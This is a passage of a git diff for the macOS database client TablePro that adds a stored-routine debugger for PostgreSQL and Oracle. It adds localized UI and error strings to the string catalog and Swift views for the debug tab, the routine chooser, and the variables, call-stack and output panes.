     "If the server stopped answering at the network encryption step, set Network Encryption to Rejected on the Advanced tab and connect again." : {
       "extractionState" : "manual",
       "generatesSymbol" : false,
@@ -95173,6 +95371,10 @@
     },
     "Install the %@ plugin?" : {
 
+    },
+    "Install the pldebugger package for this PostgreSQL version on the server, then run CREATE EXTENSION pldbgapi in this database." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
     },
     "Installed" : {
       "localizations" : {
@@ -97097,6 +97299,10 @@
         }
       }
     },
+    "Its server session may still be running and holding its locks." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
     "Its structure could not be read." : {
       "localizations" : {
         "fr" : {
@@ -97109,6 +97315,10 @@
     },
     "Its uncommitted changes are discarded." : {
 
+    },
+    "Its uncommitted work rolls back when it ends." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
     },
     "Its WHERE clause is not supported here, so it covers every row." : {
       "localizations" : {
@@ -97120,6 +97330,10 @@
         }
       }
     },
+    "JDWP error %d." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
     "Join condition:" : {
 
     },
@@ -99007,6 +99221,10 @@
     },
     "This sequence's settings could not be read, so they cannot be changed here." : {
 
+    },
+    "This server can't show the default value of %@, so enter a value for it." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
     },
     "keyword: %@" : {
       "localizations" : {
@@ -102018,6 +102236,10 @@
         }
       }
     },
+    "Line %1$d of %2$@ has no code to stop at." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
     "Line %1$d: %2$@" : {
       "localizations" : {
         "fr" : {
@@ -102081,6 +102303,9 @@
           }
         }
       }
+    },
+    "Line %d" : {
+
     },
     "Line break" : {
       "extractionState" : "manual",
@@ -114986,6 +115211,9 @@
     },
     "No build of this plugin works with this version of TablePro." : {
 
+    },
+    "No Call Stack" : {
+
     },
     "No cells changed." : {
       "localizations" : {
@@ -116192,6 +116420,10 @@
         }
       }
     },
+    "No debugger host is set, so the database can't connect back to TablePro. Debugging through DBMS_DEBUG." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
     "No default" : {
       "localizations" : {
         "fr" : {
@@ -117924,6 +118156,9 @@
           }
         }
       }
+    },
+    "No Output" : {
+
     },
     "No parts found" : {
       "localizations" : {
@@ -118047,6 +118282,10 @@
         }
       }
     },
+    "No port in the Debugger Ports range is free on this Mac." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
     "No primary key. Choose key columns to compare this table." : {
       "localizations" : {
         "fr" : {
@@ -120404,6 +120643,9 @@
           }
         }
       }
+    },
+    "No Variables" : {
+
     },
     "No Vault address. Enter one in the credential profile, or set VAULT_ADDR in TablePro's environment." : {
 
@@ -122052,6 +122294,10 @@
         }
       }
     },
+    "Not readable" : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
     "Not readable with your permissions" : {
       "extractionState" : "manual",
       "generatesSymbol" : false,
@@ -122924,6 +123170,9 @@
           }
         }
       }
+    },
+    "Nothing to Debug" : {
+
     },
     "Nothing to Draw" : {
       "localizations" : {
@@ -125774,6 +126023,10 @@
         }
       }
     },
+    "Only the owner of %@ or a superuser can debug it." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
     "Only use the bootstrap address" : {
       "extractionState" : "manual",
       "generatesSymbol" : false,
@@ -128834,6 +129087,10 @@
         }
       }
     },
+    "Or choose DBMS_DEBUG as the protocol, which needs no ACL entry." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
     "Oracle" : {
       "extractionState" : "stale",
       "localizations" : {
@@ -128879,6 +129136,10 @@
       "extractionState" : "manual",
       "generatesSymbol" : false
     },
+    "Oracle can't tell the overloads apart without it (PLS-00307), and TablePro can't read the default to pass it." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
     "Oracle returned no definition for view '%@'." : {
       "extractionState" : "manual",
       "generatesSymbol" : false,
@@ -129029,6 +129290,10 @@
         }
       }
     },
+    "Other sessions using the package lose its state, and their next call to it fails once with ORA-04068." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
     "Other work ran on this connection before you confirmed. Check the transaction and try again." : {
 
     },
@@ -131079,6 +131344,10 @@
         }
       }
     },
+    "Pass NULL or leave it at its default." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
     "Passphrase" : {
       "localizations" : {
         "fr" : {
@@ -132131,6 +132400,20 @@
         }
       }
     },
+    "Paused at line %d" : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
+    "Paused at line %d in %@" : {
+      "localizations" : {
+        "en" : {
+          "stringUnit" : {
+            "state" : "new",
+            "value" : "Paused at line %1$d in %2$@"
+          }
+        }
+      }
+    },
     "Paw Print" : {
       "extractionState" : "manual",
       "generatesSymbol" : false
@@ -137002,6 +137285,8 @@
       }
     },
     "Procedure" : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false,
       "localizations" : {
         "fr" : {
           "stringUnit" : {
@@ -137970,6 +138255,10 @@
         }
       }
     },
+    "Protocol" : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
     "protocol negotiation" : {
       "extractionState" : "manual",
       "generatesSymbol" : false,
@@ -145280,6 +145569,9 @@
           }
         }
       }
+    },
+    "Remove All Breakpoints" : {
+
     },
     "Remove All Filters" : {
       "localizations" : {
@@ -146351,6 +146643,14 @@
         }
       }
     },
+    "Remove SET client_min_messages from the routine to debug it." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
+    "Remove SET transaction_timeout from the routine to debug it." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
     "Remove tag %@" : {
       "comment" : "A label for a button that removes a tag from a list of selected tags. The argument is the name of the tag to be removed.",
       "isCommentAutoGenerated" : true,
@@ -151356,6 +151656,9 @@
           }
         }
       }
+    },
+    "Routine Debugger" : {
+
     },
     "Routine name" : {
       "localizations" : {
@@ -151407,6 +151710,10 @@
         }
       }
     },
+    "Routines with polymorphic or record parameters can't be debugged." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
     "Routines, sorted by qualified name" : {
       "localizations" : {
         "fr" : {
@@ -154031,6 +154338,9 @@
           }
         }
       }
+    },
+    "Running…" : {
+
     },
     "Runs a command you write. It must open the local port itself." : {
       "localizations" : {
@@ -161449,6 +161759,14 @@
         }
       }
     },
+    "Server process %d may still be running and holding its locks." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
+    "Server process %d may still be waiting for a debugger and holding its locks. To end it, run SELECT pldbg_attach_to_port(%d) and pass the number it returns to pldbg_abort_target." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
     "Server response: %@" : {
       "extractionState" : "manual",
       "generatesSymbol" : false,
@@ -162009,6 +162327,14 @@
         }
       }
     },
+    "Session SID %1$d, SERIAL# %2$d. %3$@ A user with ALTER SYSTEM can end it now with %4$@." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
+    "Session SID %d. %@" : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
     "Session state" : {
       "localizations" : {
         "fr" : {
@@ -162352,6 +162678,14 @@
         }
       }
     },
+    "Set Debugger Host to an address the database server can reach this Mac at, or choose DBMS_DEBUG as the protocol." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
+    "Set Debugger Host to an address the server can reach, or choose DBMS_DEBUG as the protocol." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
     "Set DEFAULT" : {
       "localizations" : {
         "fr" : {
@@ -173104,6 +173438,18 @@
           }
         }
       }
+    },
+    "Step Into" : {
+
+    },
+    "Step Out" : {
+
+    },
+    "Step Over" : {
+
+    },
+    "Step through PL/pgSQL and PL/SQL routines with breakpoints." : {
+
     },
     "Stop" : {
       "extractionState" : "manual",
@@ -173356,6 +173702,9 @@
           }
         }
       }
+    },
+    "Stop Debugging" : {
+
     },
     "Stop Export?" : {
       "localizations" : {
@@ -173686,6 +174035,10 @@
     },
     "Stopped." : {
 
+    },
+    "Stopped. The routine's changes were rolled back." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
     },
     "Stopping…" : {
       "extractionState" : "stale",
@@ -178605,6 +178958,10 @@
         }
       }
     },
+    "TablePro compiles it again with debug information (PLSQL_OPTIMIZE_LEVEL=1) and keeps its other settings. Compiling commits." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
     "TablePro connects to the first broker over a tunnel. Partitions led by other brokers cannot be read." : {
       "localizations" : {
         "fr" : {
@@ -178810,6 +179167,10 @@
     },
     "TablePro couldn't check which rows in other tables reference these rows." : {
 
+    },
+    "TablePro couldn't confirm that the routine ended. It may still be running on the server." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
     },
     "TablePro couldn't reach the plugin registry to update this plugin. Check your connection and reopen TablePro." : {
       "localizations" : {
@@ -182872,6 +183233,10 @@
     },
     "The branch and its upstream branch each have commits the other lacks. Finish this pull in a Git client." : {
 
+    },
+    "The breakpoint on line %1$d of %2$@ moved to line %3$d, the next line with code." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
     },
     "The broker answered a coordinator lookup with no coordinator." : {
       "extractionState" : "manual",
@@ -184006,6 +184371,10 @@
         }
       }
     },
+    "The connection from the database didn't complete the debugger handshake." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
     "The connection has no current DuckDB catalog to read metadata from" : {
       "extractionState" : "manual",
       "generatesSymbol" : false,
@@ -184365,6 +184734,9 @@
           }
         }
       }
+    },
+    "The connection was closed or reconnected while the debugger was starting. Start it again." : {
+
     },
     "The connection was closed." : {
       "localizations" : {
@@ -184784,6 +185156,18 @@
         }
       }
     },
+    "The database answered the debugger with data TablePro can't read." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
+    "The database couldn't reach TablePro at %@." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
+    "The database didn't connect to TablePro at %@ in time." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
     "the database file" : {
       "extractionState" : "manual",
       "generatesSymbol" : false,
@@ -184858,6 +185242,10 @@
         }
       }
     },
+    "The database isn't allowed to connect to TablePro at %@ (ORA-24247). A DBA can allow it with DBMS_NETWORK_ACL_ADMIN.APPEND_HOST_ACE and the jdwp privilege." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
     "The database name is longer than the 128 bytes FreeTDS takes." : {
       "extractionState" : "manual",
       "generatesSymbol" : false,
@@ -184996,6 +185384,44 @@
       "extractionState" : "manual",
       "generatesSymbol" : false
     },
+    "The database's debugger refused the request." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
+    "The database's debugger sent data TablePro can't read, so the session ended." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
+    "The database's debugger stopped answering, so the session ended." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
+    "The debug session has ended." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
+    "The debug session's connection closed." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
+    "The debugger couldn't finish this step." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
+    "The debugger couldn't start." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
+    "The debugger didn't confirm the stop. The routine may still be running on the server." : {
+
+    },
+    "The debugger stopped for a reason TablePro doesn't know." : {
+
+    },
+    "The debugger's session was interrupted while it waited, so the routine was stopped and its uncommitted changes were rolled back. A cancel or the server's transaction_timeout can cause this." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
     "The declared length is kept for reference but is not enforced." : {
       "localizations" : {
         "fr" : {
@@ -186117,6 +186543,9 @@
           }
         }
       }
+    },
+    "The installed %1$@ does not support %2$@. Update it in Settings > Extensions." : {
+
     },
     "The installed %1$@ does not support %2$@. Update it in Settings > Plugins." : {
 
@@ -187637,6 +188066,14 @@
         }
       }
     },
+    "The PL/pgSQL debugger can't step out of a routine." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
+    "The PL/pgSQL debugger isn't installed in “%@”." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
     "The plan setting could not be turned off again, so the connection was closed. Reconnect to go on." : {
       "extractionState" : "manual",
       "generatesSymbol" : false
@@ -188692,6 +189129,29 @@
       "extractionState" : "manual",
       "generatesSymbol" : false
     },
+    "The routine couldn't be stopped on the server." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
+    "The routine finished before the stop reached it." : {
+
+    },
+    "The routine is still running on the server. DBMS_DEBUG can't interrupt it between breakpoints." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
+    "The routine isn't paused." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
+    "The routine raised an error. Its changes were rolled back." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
+    "The routine was stopped, and its uncommitted changes were rolled back." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
     "The row filter on %@ was not a single expression, so every row was exported." : {
       "extractionState" : "manual",
       "generatesSymbol" : false,
@@ -189464,6 +189924,10 @@
     },
     "The server computes this column, so it is left out." : {
 
+    },
+    "The server couldn't start the debugger." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
     },
     "The server did not accept the client certificate. %@" : {
       "extractionState" : "manual",
@@ -193233,6 +193697,10 @@
         }
       }
     },
+    "This call matches more than one overload of %@, so Oracle can't run it (PLS-00307)." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
     "This change needs %@ to be recreated, and it cannot be recreated from the definition the database stored for it. Virtual tables, such as full-text search tables, are the usual reason." : {
       "localizations" : {
         "fr" : {
@@ -193427,6 +193895,13 @@
         }
       }
     },
+    "This connection can't open the separate sessions the debugger needs." : {
+
+    },
+    "This connection can't run the PL/pgSQL debugger." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
     "This connection does not support user and role management." : {
       "localizations" : {
         "fr" : {
@@ -193999,6 +194474,9 @@
           }
         }
       }
+    },
+    "This connection's driver can't debug routines." : {
+
     },
     "This connection's driver does not list its tables." : {
       "localizations" : {
@@ -194410,6 +194888,10 @@
         }
       }
     },
+    "This database doesn't provide DBMS_DEBUG_JDWP." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
     "This database has an open transaction. Closing it rolls the transaction back and discards its uncommitted changes." : {
       "localizations" : {
         "fr" : {
@@ -197593,6 +198075,17 @@
           }
         }
       }
+    },
+    "This routine sets client_min_messages to %@, which hides the notice the debugger starts with." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
+    "This routine sets transaction_timeout to %@, which would end it while it waits at a breakpoint." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
+    "This routine takes no arguments." : {
+
     },
     "This row does not name a stored document." : {
       "extractionState" : "manual",
@@ -197926,6 +198419,10 @@
         }
       }
     },
+    "This server has no PL/pgSQL debugger." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
     "This server has no users or roles you can manage." : {
       "localizations" : {
         "fr" : {
@@ -200135,6 +200632,9 @@
           }
         }
       }
+    },
+    "Toggle Breakpoint" : {
+
     },
     "Toggle Comment" : {
       "localizations" : {
@@ -201790,6 +202290,8 @@
       "generatesSymbol" : false
     },
     "Trigger" : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false,
       "localizations" : {
         "fr" : {
           "stringUnit" : {
@@ -202655,6 +203157,9 @@
     },
     "Try again and answer the prompt in TablePro." : {
 
+    },
+    "Try again, or install the plugin from Settings > Extensions." : {
+
     },
     "Try again, or install the plugin from Settings > Plugins." : {
       "localizations" : {
@@ -205914,6 +206419,9 @@
           }
         }
       }
+    },
+    "Update or reinstall the plugin in Settings > Extensions." : {
+
     },
     "Update or reinstall the plugin in Settings > Plugins." : {
       "localizations" : {
@@ -206093,6 +206601,12 @@
           }
         }
       }
+    },
+    "Update the database driver in Settings > Extensions to run a batch more than once with GO." : {
+
+    },
+    "Update the database driver in Settings > Extensions to run several statements in one call." : {
+
     },
     "Update the database driver in Settings > Plugins to run a batch more than once with GO." : {
       "localizations" : {
@@ -209146,6 +209660,9 @@
           }
         }
       }
+    },
+    "Variables" : {
+
     },
     "Variant id" : {
       "localizations" : {
diff --git a/apple/TablePro/Views/Main/Child/MainEditorContentView.swift b/apple/TablePro/Views/Main/Child/MainEditorContentView.swift
index cc43f560dd..a201566f7c 100644
--- a/apple/TablePro/Views/Main/Child/MainEditorContentView.swift
+++ b/apple/TablePro/Views/Main/Child/MainEditorContentView.swift
@@ -210,6 +210,9 @@ struct MainEditorContentView: View {
             versionHistoryContent(tab: tab)
         case .tableListing:
             tableListingContent(tab: tab)
+        case .routineDebug:
+            RoutineDebugTabContent(tabId: tab.id, databaseType: connection.type)
+                .id(tab.id)
         }
     }
 
diff --git a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+TabClosing.swift b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+TabClosing.swift
index 49fd8a17f4..876e19e03a 100644
--- a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+TabClosing.swift
+++ b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+TabClosing.swift
@@ -13,12 +13,16 @@ extension MainContentCoordinator {
             guard let tab = tabManager.tabs.first(where: { $0.id == id }) else { continue }
             // A close removes the tab before the selection moves, so this is the only save of filter rows never applied.
             saveLastFilters(of: tab)
-            RecentlyClosedTabStore.shared.push(tab: tab, connection: connection)
+            if tab.tabType.isTransient {
+                RoutineDebugSessions.shared.endSession(forTab: id, window: contentWindow)
+            } else {
+                RecentlyClosedTabStore.shared.push(tab: tab, connection: connection)
+            }
             releaseResources(of: tab)
             releaseExecution(of: tab)
             tabManager.closeTab(id: id)
         }
-        guard tabManager.tabs.isEmpty else { return }
+        guard tabManager.tabs.allSatisfy({ $0.tabType.isTransient }) else { return }
         persistence.clearForUserClosedAllTabs()
     }
 
diff --git a/apple/TablePro/Views/Main/MainContentCoordinator.swift b/apple/TablePro/Views/Main/MainContentCoordinator.swift
index 8659645d71..69ff360f71 100644
--- a/apple/TablePro/Views/Main/MainContentCoordinator.swift
+++ b/apple/TablePro/Views/Main/MainContentCoordinator.swift
@@ -418,12 +418,15 @@ final class MainContentCoordinator: ObservableObject {
     }
 
     // Union across windows: saving one window's tabs erased torn-off ones. Deduped, since SwiftUI's throwaway coordinators repeat tabs.
+    // The connection's saved tab set. A debug tab is never saved, so a window holding only debug tabs counts as empty.
     static func aggregatedTabs(for connectionId: UUID) -> [QueryTab] {
         var seen = Set<UUID>()
         return activeCoordinators.values
             .filter { $0.connectionId == connectionId }
             .flatMap { coordinator in
-                coordinator.tabManager.tabs.map(coordinator.enrichedForPersistence)
+                coordinator.tabManager.tabs
+                    .filter { !$0.tabType.isTransient }
+                    .map(coordinator.enrichedForPersistence)
             }
             .filter { seen.insert($0.id).inserted }
     }
@@ -873,6 +876,10 @@ final class MainContentCoordinator: ObservableObject {
         columnScopeRequeryTask?.cancel()
         releaseImportFile()
 
+        let debugTabIds = tabManager.tabs.filter { $0.tabType.isTransient }.map(\.id)
+        if !debugTabIds.isEmpty {
+            RoutineDebugSessions.shared.endSessions(forTabs: debugTabIds, window: contentWindow)
+        }
         tabManager.tabs.removeAll()
         tabManager.selectedTabId = nil
 
diff --git a/apple/TablePro/Views/RoutineDebug/RoutineDebugChooserSheet.swift b/apple/TablePro/Views/RoutineDebug/RoutineDebugChooserSheet.swift
new file mode 100644
index 0000000000..b6d6b89ca2
--- /dev/null
+++ b/apple/TablePro/Views/RoutineDebug/RoutineDebugChooserSheet.swift
@@ -0,0 +1,147 @@
+//
+//  RoutineDebugChooserSheet.swift
+//  TablePro
+//
+
+import SwiftUI
+import TableProPluginKit
+
+// Debug > Debug Routine…: every unit the driver can debug in the browsed schema, packages included where the engine has them.
+internal struct RoutineDebugChooserSheet: View {
+    private enum LoadState {
+        case loading
+        case failed(String)
+        case loaded([Row])
+    }
+
+    private struct Row: Identifiable {
+        let target: PluginDebugTarget
+        var id: String { target.identity }
+    }
+
+    let load: @MainActor () async throws -> [PluginDebugTarget]
+    let onFinish: @MainActor (PluginDebugTarget?) -> Void
+
+    @State private var loadState: LoadState = .loading
+    @State private var searchText = ""
+    @State private var selection: Row.ID?
+
+    static func present(
+        on window: NSWindow,
+        setup: RoutineDebugSetup,
+        load: @escaping @MainActor () async throws -> [PluginDebugTarget]
+    ) async -> PluginDebugTarget? {
+        await RoutineDebugSheet.present(on: window, setup: setup) { finish in
+            RoutineDebugChooserSheet(load: load, onFinish: finish)
+        }
+    }
+
+    var body: some View {
+        VStack(spacing: 0) {
+            header
+            Divider()
+            content
+                .frame(maxWidth: .infinity, maxHeight: .infinity)
+            Divider()
+            footer
+        }
+        .frame(width: 520, height: 420)
+        .task { await reload() }
+    }
+
+    private var header: some View {
+        HStack(spacing: 16) {
+            Text(String(localized: "Debug Routine"))
+                .font(.headline)
+            Spacer()
+            NativeSearchField(
+                text: $searchText,
+                placeholder: String(localized: "Search"),
+                accessibilityIdentifier: "routine-debug-chooser-search"
+            )
+            .frame(width: 180)
+        }
+        .padding(20)
+    }
+
+    @ViewBuilder
+    private var content: some View {
+        switch loadState {
+        case .loading:
+            ProgressView()
+        case .failed(let message):
+            UnavailableStateView {
+                Label(String(localized: "Can't List Routines"), systemImage: "exclamationmark.triangle")
+            } description: {
+                Text(message)
+            } actions: {
+                Button(String(localized: "Try Again")) {
+                    Task { await reload() }
+                }
+            }
+        case .loaded(let rows) where rows.isEmpty:
+            UnavailableStateView(String(localized: "Nothing to Debug"), systemImage: "ladybug")
+        case .loaded:
+            if filteredRows.isEmpty {
+                UnavailableStateView.search(text: searchText)
+            } else {
+                Table(filteredRows, selection: $selection) {
+                    TableColumn(String(localized: "Name")) { row in
+                        Text(row.target.name)
+                    }
+                    TableColumn(String(localized: "Kind")) { row in
+                        Text(row.target.kindDisplayName)
+                    }
+                    .width(min: 80, ideal: 120, max: 200)
+                }
+                .contextMenu(forSelectionType: Row.ID.self) { _ in
+                    EmptyView()
+                } primaryAction: { identities in
+                    if let identity = identities.first { choose(identity) }
+                }
+            }
+        }
+    }
+
+    private var footer: some View {
+        HStack {
+            Spacer()
+            Button(String(localized: "Cancel")) {
+                onFinish(nil)
+            }
+            .keyboardShortcut(.cancelAction)
+            Button(String(localized: "Debug…")) {
+                if let selection { choose(selection) }
+            }
+            .keyboardShortcut(.defaultAction)
+            .disabled(selection == nil)
+        }
+        .padding(20)
+    }
+
+    private var filteredRows: [Row] {
+        guard case .loaded(let rows) = loadState else { return [] }
+        let query = searchText.trimmingCharacters(in: .whitespaces)
+        guard !query.isEmpty else { return rows }
+        return rows.filter { $0.target.name.localizedCaseInsensitiveContains(query) }
+    }
+
+    private func choose(_ identity: Row.ID) {
+        guard let row = filteredRows.first(where: { $0.id == identity }) else { return }
+        onFinish(row.target)
+    }
+
+    private func reload() async {
+        loadState = .loading
+        do {
+            let targets = try await load()
+            loadState = .loaded(
+                targets
+                    .sorted { $0.name.localizedStandardCompare($1.name) == .orderedAscending }
+                    .map(Row.init(target:))
+            )
+        } catch {
+            loadState = .failed(RoutineDebugController.message(for: error))
+        }
+    }
+}
diff --git a/apple/TablePro/Views/RoutineDebug/RoutineDebugPanes.swift b/apple/TablePro/Views/RoutineDebug/RoutineDebugPanes.swift
new file mode 100644
index 0000000000..55352966b0
--- /dev/null
+++ b/apple/TablePro/Views/RoutineDebug/RoutineDebugPanes.swift
@@ -0,0 +1,153 @@
+//
+//  RoutineDebugPanes.swift
+//  TablePro
+//
+
+import SwiftUI
+import TableProPluginKit
+
+internal struct RoutineDebugVariablesView: View {
+    @ObservedObject var controller: RoutineDebugController
+    @ObservedObject private var themeEngine = ThemeEngine.shared
+
+    private struct Row: Identifiable {
+        let id: Int
+        let variable: PluginDebugVariable
+    }
+
+    var body: some View {
+        RoutineDebugPane(title: String(localized: "Variables")) {
+            if rows.isEmpty {
+                UnavailableStateView(String(localized: "No Variables"), systemImage: "list.bullet.rectangle")
+            } else {
+                Table(rows) {
+                    TableColumn(String(localized: "Name")) { row in
+                        Text(row.variable.name)
+                    }
+                    .width(min: 60, ideal: 120)
+                    TableColumn(String(localized: "Value")) { row in
+                        value(of: row.variable)
+                            .font(themeEngine.valueFontSwiftUI)
+                            .textSelection(.enabled)
+                    }
+                    .width(min: 80, ideal: 200)
+                    TableColumn(String(localized: "Type")) { row in
+                        Text(row.variable.typeName ?? "")
+                            .foregroundStyle(.secondary)
+                    }
+                    .width(min: 50, ideal: 100)
+                }
+            }
+        }
+    }
+
+    private var rows: [Row] {
+        controller.variables.enumerated().map { Row(id: $0.offset, variable: $0.element) }
+    }
+
+    // NULL reads the way the grid writes it, so a value means the same thing in both places.
+    @ViewBuilder
+    private func value(of variable: PluginDebugVariable) -> some View {
+        if let value = variable.value {
+            Text(value)
+        } else {
+            Text(AppSettingsManager.shared.dataGrid.nullDisplay)
+                .foregroundStyle(.secondary)
+        }
+    }
+}
+
+internal struct RoutineDebugCallStackView: View {
+    @ObservedObject var controller: RoutineDebugController
+
+    private struct Row: Identifiable {
+        let frame: PluginDebugFrame
+        var id: Int { frame.level }
+    }
+
+    var body: some View {
+        RoutineDebugPane(title: String(localized: "Call Stack")) {
+            if controller.frames.isEmpty {
+                UnavailableStateView(String(localized: "No Call Stack"), systemImage: "square.stack.3d.up")
+            } else {
+                // The previous pause's stack stays in view, dimmed, until the new one arrives.
+                List(controller.frames.map(Row.init(frame:)), selection: selection) { row in
+                    VStack(alignment: .leading, spacing: 2) {
+                        Text(row.frame.location?.unit.displayName ?? String(localized: "Unknown"))
+                        if let line = row.frame.location?.line {
+                            Text(String(format: String(localized: "Line %d"), line))
+                                .font(.caption)
+                                .foregroundStyle(.secondary)
+                        }
+                    }
+                }
+                .listStyle(.inset)
+                .disabled(!controller.stackIsCurrent)
+            }
+        }
+    }
+
+    private var selection: Binding<Int?> {
+        Binding(
+            get: { controller.selectedFrameLevel },
+            set: { level in
+                guard let level else { return }
+                controller.selectFrame(level: level)
+            }
+        )
+    }
+}
+
+internal struct RoutineDebugOutputView: View {
+    @ObservedObject var controller: RoutineDebugController
+
+    var body: some View {
+        RoutineDebugPane(title: String(localized: "Output")) {
+            if let grid = controller.resultGrid {
+                VStack(spacing: 0) {
+                    outputLines
+                        .frame(maxHeight: controller.outputLines.isEmpty ? 0 : 120)
+                    if !controller.outputLines.isEmpty {
+                        Divider()
+                    }
+                    DataGridView(model: grid.model)
+                }
+            } else if controller.outputLines.isEmpty {
+                UnavailableStateView(String(localized: "No Output"), systemImage: "text.alignleft")
+            } else {
+                outputLines
+            }
+        }
+    }
+
+    private var outputLines: some View {
+        ScrollView {
+            Text(controller.outputLines.joined(separator: "\n"))
+                .font(.system(.body, design: .monospaced))
+                .textSelection(.enabled)
+                .frame(maxWidth: .infinity, alignment: .leading)
+                .padding(8)
+        }
+    }
+}
+
+// A titled region of the debug tab: a small header over its content, the way Xcode's debug area labels its panes.
+internal struct RoutineDebugPane<Content: View>: View {
+    let title: String
+    @ViewBuilder let content: () -> Content
+
+    var body: some View {
+        VStack(spacing: 0) {
+            Text(title)
+                .font(.subheadline.weight(.semibold))
+                .foregroundStyle(.secondary)
+                .frame(maxWidth: .infinity, alignment: .leading)
+                .padding(.horizontal, 10)
+                .padding(.vertical, 5)
+                .paneBarBackground()
+            Divider()
+            content()
+                .frame(maxWidth: .infinity, maxHeight: .infinity)
+        }
+    }
+}
diff --git a/apple/TablePro/Views/RoutineDebug/RoutineDebugPreparationPrompt.swift b/apple/TablePro/Views/RoutineDebug/RoutineDebugPreparationPrompt.swift
new file mode 100644
index 0000000000..ab4544ff26
--- /dev/null
+++ b/apple/TablePro/Views/RoutineDebug/RoutineDebugPreparationPrompt.swift
@@ -0,0 +1,38 @@
+//
+//  RoutineDebugPreparationPrompt.swift
+//  TablePro
+//
+
+import AppKit
+import TableProPluginKit
+
+// The plugin's preparation question (Oracle's compile for debug), answerable by the person or withdrawn by the run.
+@MainActor
+internal enum RoutineDebugPreparationPrompt {
+    static func confirm(
+        _ preparation: PluginDebugPreparation,
+        window: NSWindow?,
+        setup: RoutineDebugSetup
+    ) async -> Bool {
+        guard !setup.isCancelled else { return false }
+        let alert = NSAlert()
+        alert.messageText = preparation.message
+        alert.informativeText = preparation.informativeText ?? ""
+        alert.alertStyle = .informational
+        alert.addButton(withTitle: preparation.actionTitle)
+        AlertHelper.addCancelButton(to: alert, title: String(localized: "Cancel"))
+        setup.dismissPresentation = { withdraw(alert) }
+        let response = await AlertHelper.response(to: alert, in: window)
+        setup.dismissPresentation = nil
+        return response == .alertFirstButtonReturn && !setup.isCancelled
+    }
+
+    // Answered as Cancel, so the presenter's completion runs and nothing waits on an alert nobody can see.
+    private static func withdraw(_ alert: NSAlert) {
+        if let parent = alert.window.sheetParent {
+            parent.endSheet(alert.window, returnCode: .alertSecondButtonReturn)
+        } else if NSApp.modalWindow === alert.window {
+            NSApp.stopModal(withCode: .alertSecondButtonReturn)
+        }
+    }
+}
diff --git a/apple/TablePro/Views/RoutineDebug/RoutineDebugSheet.swift b/apple/TablePro/Views/RoutineDebug/RoutineDebugSheet.swift
new file mode 100644
index 0000000000..070d9368b7
--- /dev/null
+++ b/apple/TablePro/Views/RoutineDebug/RoutineDebugSheet.swift
@@ -0,0 +1,70 @@
+//
+//  RoutineDebugSheet.swift
+//  TablePro
+//
+
+import AppKit
+import SwiftUI
+
+// A SwiftUI view as a window sheet whose answer is awaited. The coordinator asks from a task, so there is no binding to present from.
+@MainActor
+internal enum RoutineDebugSheet {
